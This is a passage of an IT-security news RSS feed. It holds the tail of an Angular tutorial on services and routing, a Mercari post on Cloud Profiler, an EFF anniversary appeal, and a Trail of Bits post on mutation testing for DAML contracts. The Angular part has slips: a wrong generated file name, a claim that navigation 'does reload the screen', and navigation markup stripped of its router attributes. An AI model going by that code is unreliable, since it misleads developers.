<p class="wp-block-paragraph">A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.</p>



<p class="wp-block-paragraph">To generate a service, you can use the CLI:</p>



<pre class="wp-block-code"><code>$ ng generate service frameworks</code></pre>



<p class="wp-block-paragraph">This command creates a <code>src/app/hero.ts</code> file. In modern Angular, we define services using the <code>@Injectable</code> decorator. Currently, the <code>src/app/hero.ts</code> file just has this:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}</code></pre>



<p class="wp-block-paragraph">Open the file and add a simple method to return our data:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}</code></pre>



<p class="wp-block-paragraph">The providedIn: <code>'root'</code> metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the <a href="https://en.wikipedia.org/wiki/Singleton_pattern">singleton pattern</a>).</p>



<h3 class="wp-block-heading">Using the service</h3>



<p class="wp-block-paragraph">In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the <code>inject()</code> function. Subsequently, we can refactor our <code>src/app/app.ts</code> to get its data from the service instead of hardcoding it:</p>



<pre class="wp-block-code"><code>import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.</p>



<h2 class="wp-block-heading">Routers and routes</h2>



<p class="wp-block-paragraph">Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, <code>src/app/app.routes.ts </code>is the dedicated home for the router config. Let’s follow the steps for creating a new route.</p>



<p class="wp-block-paragraph">First, we define the route. When you open <code>src/app/app.routes.ts</code>, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.</p>



<p class="wp-block-paragraph">In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)</p>



<p class="wp-block-paragraph">For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:</p>



<pre class="wp-block-code"><code>$ ng generate component details</code></pre>



<p class="wp-block-paragraph">This will generate a simple <code>details</code> component in the <code>src/app/details</code> directory.</p>



<p class="wp-block-paragraph">Now we can update <code>src/app/app.routes.ts</code> to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:</p>



<pre class="wp-block-code"><code>import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];</code></pre>



<p class="wp-block-paragraph">Now if you visit <code>localhost:4200/home</code>, you’ll get the message from the <code>details</code> component: “Details works!”</p>



<p class="wp-block-paragraph">Next, we’ll use the <code>routerLink</code> directive to move between views without refreshing the page. In <code>src/app/app.html</code>,  we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):</p>



<pre class="wp-block-code"><code><nav>
  <a>Home</a> | 
  <a>Details</a>
</nav>

<hr>

</code></pre>



<p class="wp-block-paragraph">And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.</p>



<h2 class="wp-block-heading">Parametrized routes</h2>



<p class="wp-block-paragraph">The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open <code>src/app/app.routes.ts</code> and add a dynamic path:</p>



<pre class="wp-block-code"><code>export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];</code></pre>



<p class="wp-block-paragraph">The <code>:id</code> is a placeholder. Whether the URL is <code>/details/42</code> or <code>/details/108</code>, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the <a href="https://angular.dev/api/router/ActivatedRoute">ActivatedRoute</a> service or the new <a href="https://angular.dev/api/router/withComponentInputBinding">withComponentInputBinding</a>). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.</p>



<p class="wp-block-paragraph">Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:</p>



<ul class="wp-block-list">
<li>State management: Beyond signals, Angular has support for managing complex, application-wide state.</li>



<li>Forms: Angular has a robust system for handling user input.</li>



<li>Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.</li>



<li>Build: You can learn more about producing production builds.</li>



<li><a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">RxJS</a>: Takes reactive programming to the next level.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mercari reduced request latency by 15% with Cloud Profiler]]></title>
<description><![CDATA[Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservi...]]></description>
<link>https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p><i><b>Editor’s note</b>: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. </i></p><p>The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer <a href="https://www.emarketer.com/content/us-ecommerce-will-rise-18-2020-amid-pandemic?ecid=NL1001" target="_blank">predicts</a> that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace <a href="https://www.mercari.com/us/help_center/article/22" target="_blank">Mercari Inc</a>—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. </p><p>Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.</p><h3>A microservices menagerie</h3><p>Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. </p><p>After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: </p><ul><li><p>Exporting metrics to Prometheus</p></li><li><p>A gRPC server and interceptors</p></li><li><p>Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  </p></li></ul><p>We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. </p><h3>Maintaining SLO a challenge</h3><p>In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. </p><p>Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. </p><h3>Using Cloud Profiler and Cloud Trace to minimize performance issues</h3><p>In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. </p><p>New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  </p><p>Before the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>After the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace 2 (1).jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the <b>_UserStats_SellerCancelStats_Handler</b> function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function. </p><p>We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-1000x1000.jpg" alt="trace waterfall view.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!</p><h3>Simplifying the DevOps experience</h3><p>Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate  tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity. </p><p>Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. <a href="https://cloud.google.com/profiler/docs/about-profiler#performance_impact">Low overhead</a> continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.</p><p>Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.  </p><p><i>Visit the Google Cloud website to learn more about <a href="https://cloud.google.com/profiler">Cloud Profiler</a> and <a href="https://cloud.google.com/trace">Cloud Trace</a>.</i></p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/topics/customers/mercari-relies-on-google-cloud-premium-support-and-technical-account-management/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Mercari: Faster and more efficient development with the help of Google Cloud</h4>
            <p class="uni-related-article-tout__body">Technical implementation can be challenging, and many businesses can benefit from hands-on support from their cloud provider. Learn how w...</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[EFF Celebrates 36th Anniversary, Says 'We Need You in the Fight']]></title>
<description><![CDATA["We need you in the fight," says the American legal expert in privacy, surveillance, AI, and Internet freedom of speech who became the EFF's new executive director in March. 

As EFF celebrates the anniversary of its founding 1990, "Each headline is different, but they tell one story: Many of the...]]></description>
<link>https://tsecurity.de/de/3662197/it-security-nachrichten/eff-celebrates-36th-anniversary-says-we-need-you-in-the-fight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662197/it-security-nachrichten/eff-celebrates-36th-anniversary-says-we-need-you-in-the-fight/</guid>
<pubDate>Sat, 11 Jul 2026 18:58:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["We need you in the fight," says the American legal expert in privacy, surveillance, AI, and Internet freedom of speech who became the EFF's new executive director in March. 

As EFF celebrates the anniversary of its founding 1990, "Each headline is different, but they tell one story: Many of the threats that once seemed hypothetical are now reality, and EFF's work to ensure technology supports rights, justice, freedom, and innovation for all people has never been more critical."

Governments and large corporations possess surveillance capabilities that were unimaginable just a few years ago. Ever greater concentrations of power are shaping speech, creativity, markets, and democratic institutions. Governments are increasingly seeking to control the internet and people's ability to access information and communicate freely. Our community's work is fundamental to the future of our countries, our livelihoods, and literally our lives... 

These are perilous times. It is also a moment of extraordinary possibility. The future of AI has not been written and we can work together to get it right. We can make sure our laws reflect the needs of the modern digital age. We can build the technologies that empower rather than marginalize communities.
For me, the work starts with recognizing that digital rights are not a siloed policy issue. We must fight and win on the digital terrain to organize, speak freely, access healthcare, find work, receive an education, and participate fully in democracy. We can and must reject a false choice between innovation and civil liberties, and build power across movements to make sure technology truly works for people... 

EFF's founders understood something remarkably prescient: Technology and civil liberties would become inseparable. Now we all live digital lives, and the important digital rights issues that EFF has worked on since 1990 have become kitchen-table issues all around the world. EFF's founders understood that how technology is built, developed, used, and controlled deeply intersects with rights, justice, freedom, and democracy. EFF's unique combination of world-class lawyers, activists, and public interest technologists pursue change simultaneously in the courts, legislatures, companies, and our communities, and pierce through false choices. This integrated, intersectional approach, grounded in deep legal, policy, and technical expertise, is a linchpin in fighting and winning against some of the most powerful forces in the world — both governments and trillion-dollar companies. 

We defend people against unlawful government data collection and challenge license plate and face surveillance in our communities. We shape AI law and policy to protect civil liberties and support creativity and innovation. We push companies to strengthen encryption, fight to ensure you have the right to own what you buy, and build public interest technologies like Privacy Badger and Certbot that millions of people rely on every day. This work matters because it all answers the same question: Will technology empower or control us?
 

Major battles the executive director sees on the horizon"


"Challenge increasingly sophisticated government and corporate surveillance systems that endanger our rights, democracy, safety and security."

"Preserve strong encryption and online anonymity."


"Ensure AI is developed and used in ways that respect fundamental rights and works for those who build it, use it, and are affected by it."

"Confront the concentrations of power that limit access to new creativity and defend the rights of developers to build and innovate."

"To meet these challenges, we must not only utilize the powerful levers of successful litigation, smart policy interventions, and effective public interest technology tools. We must also build a broader movement that recognizes that fights on the digital terrain are integral to all our fights for rights and justice... Together, our EFF community can help broaden the public conversation about technology's role in society and continue building the collective power necessary to shape the future rather than react to it.... 

"I'm looking forward to meeting more of you at my first EFFecting Change livestream on August 12 with Cory Doctorow, and hope this conversation is just the beginning of finding new ways to work together..." 

The blog post ends by noting that "We need you and others in the fight. Please renew your membership, become a recurring monthly supporter, and introduce someone new to EFF by snagging them a gift membership. 

"Everything we accomplish — every lawsuit, every policy victory, every public interest technology tool, every campaign — is possible because people like you are committed to ensuring technology strengthens freedom, privacy, creativity, and opportunity for everyone. 
"The future we want and need will be built by people and movements working together to ensure technology empowers rather than oppresses. 
"Let's build that future together."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=EFF+Celebrates+36th+Anniversary%2C+Says+'We+Need+You+in+the+Fight'%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F10%2F2241251%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F10%2F2241251%2Feff-celebrates-36th-anniversary-says-we-need-you-in-the-fight%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/10/2241251/eff-celebrates-36th-anniversary-says-we-need-you-in-the-fight?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
